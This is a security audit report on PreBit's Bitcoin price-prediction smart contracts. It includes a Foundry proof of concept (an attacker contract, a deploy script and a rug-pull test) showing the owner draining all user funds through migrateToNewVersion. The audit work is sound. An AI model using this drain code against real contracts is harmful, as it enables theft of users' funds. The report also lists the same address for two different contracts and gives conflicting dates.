PreBit

Protocol Audit Report

Version 1.0

Ardeshir Gholami

March 1, 2024

Protocol Audit Report

Ardeshir Gholami

3 march 2024

Prepared by: Ardeshir Gholami

Table of Contents

Protocol Summary

Prebit Introduction:

> text Let's take a deep look into the platform PREBIT is a trusted global hub for decentralized market projections. It offers a secure, blockchain-based platform for predicting Bitcoin prices and rewards users for accurate and near-accurate predictions. The platform is very user-friendly and easy to use.

This review is specifically tailored to the hourly price forecasting feature of the platform, which operates on the Binance Smart Chain and stands out among its binary (up or down) prediction counterpart. Because the project website did not provide the necessary information, and my search results did not yield any GitHub repositories for the project, the code used in the project directly comes from their deployed smart contracts on the Binance SmartChain. The addresses are as follows:

- MainPrebit SmartContract: : [`0x287437ee50bf2a246282c5fcb7dc8107f47fda6c`]
  - Main Smart Contract of this project.
- Referral Contract: [`0x9a8AE3Be63Fc293ce1bC934010DcD0132B6585B0`]
  - Referral Contract of this project, contains the process of new referral generation.
- Injector Contract: [`0x9a8AE3Be63Fc293ce1bC934010DcD0132B6585B0`]
  - This represents the older version of the MainPrebit SmartContract. It serves as the input argument for the newer version, facilitating the migration of remaining funds to the updated version.
- Precard bonus Token: [`0xdf1a5FaA82D6d61f86D1dF4fa777Ef597bF69080`]
  - This contract defines the precard bonus token.

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
72805e737081ab0d64862acb90e5785288d81677
```

Scope

```
src/
    Main.sol
    PrebitReferrals.sol
```

Roles

Here's a concise and clear summary of the roles and their functions within the context of the MainPrebit Contract:

1. Owner: The Owner has exclusive access to all contract functions, utilizing the `MainPrebit::onlyOwner` modifier to ensure full control over the contract's operations.
2. Operator: The Operator manages the prediction rounds(`MainPrebit::onlyOperator`), with the ability to end ongoing rounds (`MainPrebit::executeDrawFinalPrice`) and initiate new ones (`MainPrebit::startNextPrebit`).
3. User: A User, also referred to as a buyer, purchases prediction tickets, commonly known as precards, to participate in the prediction market.

4. Parent: The Parent is the individual who referred the User to the protocol, playing a crucial role in the referral system that may offer incentives or benefits.
5. Injector: The Injector represents the older version of the MainPrebit Contract. It is utilized specifically for migrating any remaining funds to the newer version of the contract, ensuring a smooth transition and continuity of operations.

This summary outlines the key roles within the MainPrebit Contract ecosystem, highlighting the responsibilities and functions of each party involved.

Executive Summary

The security review of the Prebit.io smart contracts, particularly the `MainPrebit` smart contract, has identified critical vulnerabilities that pose significant risks to the protocol and its users. These vulnerabilities include the potential for a rug pull via the `migrateToNewVersion` function, the reliance on manual BTC price input, and issues related to manual contract deployment and prebit management. The findings underscore the importance of thorough security audits, the implementation of robust safeguards, and the adoption of automated systems to mitigate risks associated with smart contracts. Addressing these vulnerabilities is crucial for enhancing the security posture of Prebit.io, building trust with its users, and ensuring the long-term sustainability and success of its platform.

Issues found

Severity	number of issues found
High	2
Medium	2
Low	0
Info	0
Total	4

Findings

High

[H-1] Potential for Rug Pull via `MainPrebit::migrateToNewVersion` Function

Description: The `MainPrebit::migrateToNewVersion` function within the smart contract could be exploited to execute a rug pull. This function, if not properly secured or audited, will allow the contract owner to withdraw funds from the contract without returning them to the users.

Impact: The potential for a rug pull through the `MainPrebit::migrateToNewVersion` function poses a significant risk to the protocol and its users. It could lead to a loss of trust in the platform, as users may fear that their funds could be withdrawn without their consent. This could also have legal and financial implications for the project, as well as reputational damage. Additionally, it could affect the protocol's long-term sustainability and security, as it undermines the trust and confidence of its users.

Proof of Concept: Upon reviewing the project's smart contracts and documentation, it was observed that the `MainPrebit::migrateToNewVersion` function within the smart contract could potentially be exploited to execute a rug pull. This potential vulnerability was identified through a test suite developed using an `attacker.sol` contract, which is a copy of the `mainPrebit.sol` contract but includes a function designed to empty the contract of all funds. the function is as below:

```
    function emptyContract(address recipient) external onlyOwner {
        uint256 balance = payToken.balanceOf(address(this));
        payToken.transfer(recipient, balance);
    }
```

The test suite, executed in Foundry, simulates the process by which the protocol owner could exploit the `MainPrebit::migrateToNewVersion` function to transfer all funds to a new address without returning them to the users. This process involves: 0. Deploying the contracts on localchain (Anvil): The Deploy Script written to deploy main and attacker contracts is as below:

Deployer Script

```
    // SPDX-License-Identifier: MIT

    pragma solidity ^0.8.19;

    import {Script} from "lib/forge-std/src/Script.sol";
    import {MainPrebit} from "../src/Main.sol";
    import {Attacker} from "../src/Attacker.sol";

    import {PrebitReferrals} from "../src/PrebitReferrals.sol";
```

```
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.
    sol";
import {MainPrebitInjector} from "../src/Injector.sol";
import {PrebitBonusToken} from "../src/BonusToken/WUSD.sol";

contract DeployPrebit is Script {
    function run()
        external
        returns (
            MainPrebit,
            PrebitReferrals,
            ERC20Mock,
            PrebitBonusToken,
            Attacker
        )

    {
        vm.startBroadcast();

        ERC20Mock tokenMock = new ERC20Mock(
            "PayToken",
            "PT",
            msg.sender,
            1000e18
        );
        PrebitReferrals referrals = new PrebitReferrals();
        MainPrebitInjector injector = new MainPrebitInjector(
            address(tokenMock),
            address(referrals)
        );
        PrebitBonusToken bounsToken = new PrebitBonusToken();
        MainPrebit mainPrebit = new MainPrebit(
            address(tokenMock),
            address(referrals),
            address(injector),
            address(bounsToken)
        );
        referrals.addAllowedContract(address(mainPrebit));
        mainPrebit.setOperatorAndTreasuryAndInjectorAddresses(
            msg.sender,
            msg.sender,
            address(injector)
        );
        Attacker attacker = new Attacker(
            address(tokenMock),
            address(referrals),
            address(mainPrebit),
            address(bounsToken)
        );
        vm.stopBroadcast();
        return (mainPrebit, referrals, tokenMock, bounsToken,
                    attacker);
            }
        }
```

1. **Initial Setup**: The test begins by setting up the environment with `MainPrebitTest::startGenesisPreBitAndBuyPrecards` modifier, which initializes the prediction round and allows users to buy precards.
2. **Warping Time and Ending the Prebit**: The test simulates the passage of time and ends the current prebit by calling `MainPrebit::executeDrawFinalPrice`. This step is crucial for setting up the conditions under which a rug pull could occur. Because the migration function cannot be called when a prebit in is progress.
3. **Claiming Rewards**: Although not strictly necessary for the exploit, claiming rewards demonstrates the process by which users would normally interact with the contract. This step is included to provide a more realistic scenario.
4. **Pre-Migration Balances**: The test checks the balances of the main contract and the attacker contract before migration. This is a critical step to establish a baseline for comparison.
5. **Migration to the Attacker Contract**: The test simulates the migration of the main contract to the attacker contract, which is designed to exploit the `MainPrebit::migrateToNewVersion` function. This step is the core of the test, demonstrating how the contract's owner could potentially use this function to transfer all funds to a new contract.
6. **Post-Migration Balances**: After migration, the test checks the balances again to confirm that the funds have been transferred from the main contract to the attacker contract.
7. **Rug Pull Execution**: Finally, the test executes the `Attacker::emptyContract` function of the attacker contract, simulating the transfer of all assets to a secure address (in this case, `HACKER`). This step is where the rug pull would occur, with the contract's funds being moved without returning them to the users.
8. **Final Balance Check**: The test verifies that the `HACKER` has received the funds that were originally in the main contract, confirming the successful execution of the rug pull.

This test suite effectively demonstrates the potential vulnerability of the `migrateToNewVersion` function to a rug pull. It provides a clear pathway for exploitation, from the setup of the environment to the execution of the exploit, and concludes with a verification of the exploit's success. This is a valuable contribution to identifying and mitigating potential security risks in smart contracts.

Rug Pull Test Function

```
    function testRugPull() public startGenesisPreBitAndBuyPrecards {
        /** in this function using the attacker.sol which is a copy
```

```
         *  of the mainPrebit.sol but with a function which can empty
         *  the contract from all fudns, we case show the process to
         *  how the protocol owner can do a rug pull
         */

        uint256 Id = mainPrebit.currentPreBitId();
        // warp time and end the prebit and roll the block number
        vm.warp(openTimestamp + 3600 + 101);
        vm.roll(block.number + 1);
        //ending the current prebit
        mainPrebit.executeDrawFinalPrice(Id, CURRENT_BTC_PRICE, 10);
        vm.prank(USER);
        //claiming rewards - even this process may not be necessary owner might be able to empty the contract without paying the winners, ive not tested it yet:)
        mainPrebit.claimRewardPrebit(Id);

        uint256 mainContractBalanceBeforeMigration = tokenMock.balanceOf(
            address(mainPrebit)
        );
        uint256 rugPullContractBalanceBeforeMigration = tokenMock.balanceOf(
            address(attacker)
        );
        // asserts if the initial balance of the main contract if zero
        assert(mainContractBalanceBeforeMigration != 0);
        console.log(
            "Contract 1 Balance Before Migration:",
            mainContractBalanceBeforeMigration
        );
        console.log(
            "Contract 2 Balance Before Migration:",
            rugPullContractBalanceBeforeMigration
        );
        // migrating the main contract to the attacker(rug pull) contract as owner address
        vm.startPrank(OWNER);
        mainPrebit.migrateToNewVersion(address(attacker));
        // checking the balances again
        uint256 mainContractBalanceAfterMigration = tokenMock.balanceOf(
            address(mainPrebit)
        );
        console.log(
            "Contract 1 Balance after Migration:",
            mainContractBalanceAfterMigration
        );
        uint256 rugPullContractBalanceAfterMigration = tokenMock.balanceOf(
            address(attacker)
        );
        console.log(
            "Contract 2 Balance after Migration:",
            rugPullContractBalanceAfterMigration
        );
        // checking to see if the contract is completely migrated to
           new contract
        assertEq(
            mainContractBalanceBeforeMigration +
                mainContractBalanceAfterMigration,
            rugPullContractBalanceBeforeMigration +
                rugPullContractBalanceAfterMigration
        );
        // calling the rug pull contract emptyContract function to move
             all the assets to a secure address(HACKER)
        uint256 hackerBalanceBeforeHack = tokenMock.balanceOf(HACKER);
        console.log("Hacker Balance before Hack:",
           hackerBalanceBeforeHack);
        attacker.emptyContract(HACKER);
        uint256 hackerBalanceAfterHack = tokenMock.balanceOf(HACKER);
        console.log("Hacker Balance after Hack:",
           hackerBalanceAfterHack);
        //chekc if the HACKER got the attacker contract balance
        assertEq(
            hackerBalanceAfterHack,
            hackerBalanceBeforeHack +
               rugPullContractBalanceAfterMigration
        );
    }
```

Recommended Mitigation: To mitigate this issue, the project should conduct a thorough audit of the `MainPrebit::migrateToNewVersion` function and ensure that it is securely implemented. This audit should include checks for potential vulnerabilities that could be exploited for a rug pull. Additionally, the project should implement safeguards to prevent unauthorized access or manipulation of the function. The project team should also consider providing detailed documentation on the function's operation and security measures to reassure users and stakeholders of the protocol's commitment to security and transparency.

[H-2] Manual BTC Price Input Issue

Description: The `MainPrebit::executeDrawFinalPrice` function is provided with the price of BTC manually. This manual input method poses a risk of severe malfunction if the price is not entered correctly, potentially compromising the integrity and reliability of the protocol.

Impact: The reliance on manual BTC price input can introduce several risks and challenges. It may lead to inaccuracies in the prediction rounds, affecting user participation and engagement. Additionally, it could increase the potential for human error, leading to incorrect price inputs and vulnerabilities in the system. This manual approach also limits the protocol's ability to adapt to real-time market conditions, potentially affecting its long-term sustainability and security.

Proof of Concept: Upon reviewing the project's smart contracts and documentation, it was observed that the `MainPrebit::executeDrawFinalPrice` function relies on manual input for the BTC price. This manual input method was NOT confirmed through discussions with the project team but was deduced through a thorough examination of the project's codebase and deployment practices. It should be noted that the project team may use custom scripts for this purpose. However, due to the absence of documentation or available GitHub repositories, there is a need to highlight this aspect, emphasizing the importance of transparency and standardized practices in smart contract development and deployment.

Recommended Mitigation: To mitigate this issue, the project should implement a price oracle, such as Chainlink Price Feeds, for the `MainPrebit::executeDrawFinalPrice` function. This automation could ensure that the BTC price is accurately and reliably fetched from a trusted source, enhancing the protocol's accuracy and reliability. Additionally, adopting a standardized oracle framework or tool could further enhance the protocol's scalability and adaptability. The project team should also consider implementing automated testing and verification processes to ensure that the utilized oracle works correctly.

Medium

[M-1] Manual Contract Deployment Issue

Description: The MainPrebit SmartContracts are deployed manually without the use of a deployer contract. This approach may inadvertently lead to a centralized protocol, as it does not provide a standardized or automated method for deploying new contract versions or instances.

Impact: The manual deployment process introduces several risks and challenges. It may limit the protocol's scalability and flexibility, as each deployment necessitates manual intervention. This could also amplify the potential for human error, potentially leading to deployment issues or vulnerabilities. Moreover, the manual deployment process significantly heightens security risks. If the private key of the owner (deployer) account is compromised, the project could be at risk, with all funds potentially at stake. This centralization of control over deployment exposes the protocol to unauthorized access or malicious activities, jeopardizing the platform's security and integrity.

Proof of Concept: Upon reviewing the project's smart contracts, it was observed that the deployment of the MainPrebit SmartContracts is done through custom scripts and manual execution. This lack of a deployer contract was NOT confirmed through discussions with the project team.(because I had no access to them) The deployer of the MainPrebit SmartContract is the address below, as verified from the BSC block explorer: [0x47B11a3afE6538e299c138C031264A10802a7E7A].

Recommended Mitigation: To mitigate this issue, the project should implement a deployer contract that automates the deployment process. This contract could manage the deployment of new contract versions or instances, ensuring consistency and reducing the risk of human error. Additionally, adopting a standardized deployment framework or tool could further enhance the protocol's scalability and adaptability. The project team should also consider implementing automated testing and verification processes to ensure the security and reliability of each deployment.

[M-2] Manual Prebit Management Issue

Description: The process of ending the current prebits and starting the next prebit is manually managed by the operator address. This manual approach lacks automation and efficiency, potentially leading to delays or errors in the prediction rounds.

Impact: The manual management of prebits can introduce several risks and challenges. It may lead to delays in the prediction rounds, affecting user participation and engagement. Additionally, it could increase the potential for human error, leading to incorrect management of prediction rounds or vulnerabilities in the system. This manual approach also limits the scalability and flexibility of the protocol, as it does not provide a standardized or automated method for managing prediction rounds.

Proof of Concept: Upon reviewing the project's smart contracts and documentation, it was observed that the management of prebits is done manually by the operator address. This lack of automation was not confirmed through discussions with the project team. The Operator of the MainPrebit SmartContract is the address below, as verified from the BSC block explorer: [0x531b5C8bf9f2d0E069b48F01Bc129B06f9f603ca]

Recommended Mitigation: To mitigate this issue, the project should implement automation protocols, such as Chainlink Automation, for managing prebits. This automation could ensure that prebits are ended and new ones are started in a timely and error-free manner, enhancing the efficiency and reliability of the prediction rounds. Additionally, adopting a standardized automation framework or tool could further enhance the protocol's scalability and adaptability. The project team should also consider implementing automated testing and verification processes to ensure the security and reliability of each prediction round.